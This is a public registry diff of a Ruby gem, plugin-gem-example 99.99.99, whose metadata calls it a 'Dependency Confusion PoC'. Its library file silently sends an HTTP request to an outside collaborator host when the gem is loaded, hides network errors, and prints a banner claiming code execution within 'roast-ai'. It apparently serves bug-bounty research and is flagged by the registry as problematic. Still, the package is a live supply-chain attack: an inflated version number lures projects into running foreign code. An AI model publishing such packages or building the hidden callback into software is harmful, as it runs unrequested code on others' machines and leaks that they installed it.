plugin-gem-example 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of plugin-gem-example might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/plugin-gem-example.rb +15 -0
- metadata +42 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: '09d459c9692b409be397a6b47b5c482d41205ec5b85b21a5da95a64122b3918e'
|
|
4
|
+
data.tar.gz: e454d1590541ee2234f5f4bc559fe7ad06c8bab6b810dad69d505049b1233803
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: f7ef26cb61b680300b9c51889b07fe143b546cbe5b5fa6b5308eaa0e3dce34f3e210629e660b1356fe3e4f6159bb17ec21c27b15e57a58349cd9fc1c2b3a9017
|
|
7
|
+
data.tar.gz: 78024b6d471ff7cf0190f7b5a0267808be32a193428b730ec16b5cad93b14e0d371f415ba71dbc64ecde6ffe2f279501eef07759ff2bdafe88c04f4dd0e1ace1
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
require 'net/http'
|
|
2
|
+
|
|
3
|
+
# IMPORTANT: Update this URL if you want a live DNS ping
|
|
4
|
+
collaborator_url = 'http://your-collaborator-payload.com/?poc=roast-ai-rce'
|
|
5
|
+
|
|
6
|
+
begin
|
|
7
|
+
Net::HTTP.get(URI(collaborator_url))
|
|
8
|
+
rescue StandardError
|
|
9
|
+
# Silently handle network errors to avoid crashing the parent process
|
|
10
|
+
end
|
|
11
|
+
|
|
12
|
+
puts "\n" + "="*50
|
|
13
|
+
puts "[!] VULNERABILITY TRIGGERED: bugdotexe"
|
|
14
|
+
puts "[!] Code execution achieved via plugin-gem-example within roast-ai"
|
|
15
|
+
puts "="*50 + "\n"
|
metadata
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: plugin-gem-example
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 99.99.99
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- bugdotexe
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2026-03-02 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description:
|
|
14
|
+
email:
|
|
15
|
+
executables: []
|
|
16
|
+
extensions: []
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- lib/plugin-gem-example.rb
|
|
20
|
+
homepage:
|
|
21
|
+
licenses: []
|
|
22
|
+
metadata: {}
|
|
23
|
+
post_install_message:
|
|
24
|
+
rdoc_options: []
|
|
25
|
+
require_paths:
|
|
26
|
+
- lib
|
|
27
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
28
|
+
requirements:
|
|
29
|
+
- - ">="
|
|
30
|
+
- !ruby/object:Gem::Version
|
|
31
|
+
version: '0'
|
|
32
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
33
|
+
requirements:
|
|
34
|
+
- - ">="
|
|
35
|
+
- !ruby/object:Gem::Version
|
|
36
|
+
version: '0'
|
|
37
|
+
requirements: []
|
|
38
|
+
rubygems_version: 3.4.20
|
|
39
|
+
signing_key:
|
|
40
|
+
specification_version: 4
|
|
41
|
+
summary: Dependency Confusion PoC
|
|
42
|
+
test_files: []
|